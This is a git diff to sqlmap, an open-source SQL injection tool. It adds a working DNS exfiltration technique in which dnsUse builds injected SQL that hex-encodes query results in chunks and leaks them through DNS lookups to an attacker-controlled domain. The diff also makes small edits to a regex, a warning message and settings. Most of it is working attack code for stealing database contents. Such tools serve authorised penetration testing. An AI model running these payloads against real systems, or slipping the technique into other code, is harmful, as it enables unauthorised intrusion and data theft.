diff --git a/lib/core/agent.py b/lib/core/agent.py index 8ba99ecb7..23e66495c 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -261,7 +261,7 @@ class Agent: if 'hex' in rootQuery: hexField = rootQuery.hex.query % field else: - warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms() + warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) return hexField diff --git a/lib/core/common.py b/lib/core/common.py index 3c656c8f1..7c808a31c 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1613,7 +1613,7 @@ def getSPLSnippet(dbms, name, **variables): for _ in variables.keys(): retVal = re.sub(r"%%%s%%" % _, variables[_], retVal) - _ = re.search(r"%([^%]+)%", retVal, re.I) + _ = re.search(r"%(\w+)%", retVal, re.I) if _: errMsg = "unresolved variable '%s' in SPL snippet '%s'" % (_.group(1), name) raise sqlmapGenericException, errMsg diff --git a/lib/core/option.py b/lib/core/option.py index 71f8df239..3f4fd4d5d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1437,6 +1437,7 @@ def __setKnowledgeBaseAttributes(flushAll=True): kb.delayCandidates = TIME_DELAY_CANDIDATES * [0] kb.dep = None + kb.dnsMode = False kb.docRoot = None kb.dumpMode = False kb.dynamicMarkings = [] diff --git a/lib/core/settings.py b/lib/core/settings.py index 614493b1c..ae3e4f499 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -472,3 +472,6 @@ MAX_SINGLE_URL_REDIRECTIONS = 4 # Maximum total number of redirections (regardless of URL) - before assuming we're in a loop MAX_TOTAL_REDIRECTIONS = 10 + +# Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm +MAX_DNS_LABEL = 63 diff --git a/lib/request/inject.py b/lib/request/inject.py index c376866d8..632b8c035 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -48,29 +48,36 @@ from lib.core.threads import getCurrentThreadData from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.request.direct import direct -from lib.techniques.union.use import unionUse from lib.techniques.blind.inference import bisection +from lib.techniques.dns.use import dnsUse from lib.techniques.error.use import errorUse +from lib.techniques.union.use import unionUse from lib.utils.resume import queryOutputLength from lib.utils.resume import resume def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False): start = time.time() + value = None + count = 0 - timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) + if conf.dnsDomain: + value = dnsUse(payload, expression) - if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare: - _, length, _ = queryOutputLength(expression, payload) - else: - length = None + if value is None: + timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) - kb.inferenceMode = True - count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) - kb.inferenceMode = False + if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare: + _, length, _ = queryOutputLength(expression, payload) + else: + length = None - if not kb.bruteMode: - debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) - logger.debug(debugMsg) + kb.inferenceMode = True + count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) + kb.inferenceMode = False + + if not kb.bruteMode: + debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) + logger.debug(debugMsg) return value diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index c64b0dffc..2759d9df1 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -7,10 +7,95 @@ Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -def dnsUse(expression, expected=None, dump=False): +import re +import time + +from lib.core.agent import agent +from lib.core.common import Backend +from lib.core.common import calculateDeltaSeconds +from lib.core.common import dataToStdout +from lib.core.common import decodeHexValue +from lib.core.common import extractRegexResult +from lib.core.common import getSPLSnippet +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite +from lib.core.common import randomInt +from lib.core.common import randomStr +from lib.core.common import safecharencode +from lib.core.common import safeStringFormat +from lib.core.common import singleTimeWarnMessage +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.enums import DBMS +from lib.core.settings import MAX_DNS_LABEL +from lib.core.settings import PARTIAL_VALUE_MARKER +from lib.core.unescaper import unescaper +from lib.request.connect import Connect as Request + +def dnsUse(payload, expression): """ Retrieve the output of a SQL query taking advantage of the DNS resolution mechanism by making request back to attacker's machine. """ - raise NotImplementedError + start = time.time() + + retVal = None + count = 0 + offset = 1 + + if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE): + output = hashDBRetrieve(expression, checkConf=True) + if PARTIAL_VALUE_MARKER in output: + output = None + + if output is None: + kb.dnsMode = True + + while True: + count += 1 + prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2)) + chunk_length = MAX_DNS_LABEL / 2 + _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) + nulledCastedField = agent.nullAndCastField(fieldToCastStr) + nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) + nulledCastedField = agent.hexConvertField(nulledCastedField) + expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) + + expressionRequest = getSPLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain) + expressionUnescaped = unescaper.unescape(expressionRequest) + + forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3))) + Request.queryPage(forgedPayload, content=False, raise404=False) + + _ = conf.dnsServer.pop(prefix, suffix) + if _: + _ = extractRegexResult("%s\.(?P.+)\.%s" % (prefix, suffix), _, re.I) + _ = decodeHexValue(_) + output = (output or "") + _ + offset += len(_) + if len(_) < chunk_length: + break + else: + break + + kb.dnsMode = False + + if output is not None: + retVal = output + dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) + hashDBWrite(expression, output) + + if not kb.bruteMode: + debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) + logger.debug(debugMsg) + + elif conf.dnsDomain: + warnMsg = "DNS data exfiltration method through SQL injection " + warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms() + singleTimeWarnMessage(warnMsg) + conf.dnsDomain = None + + return retVal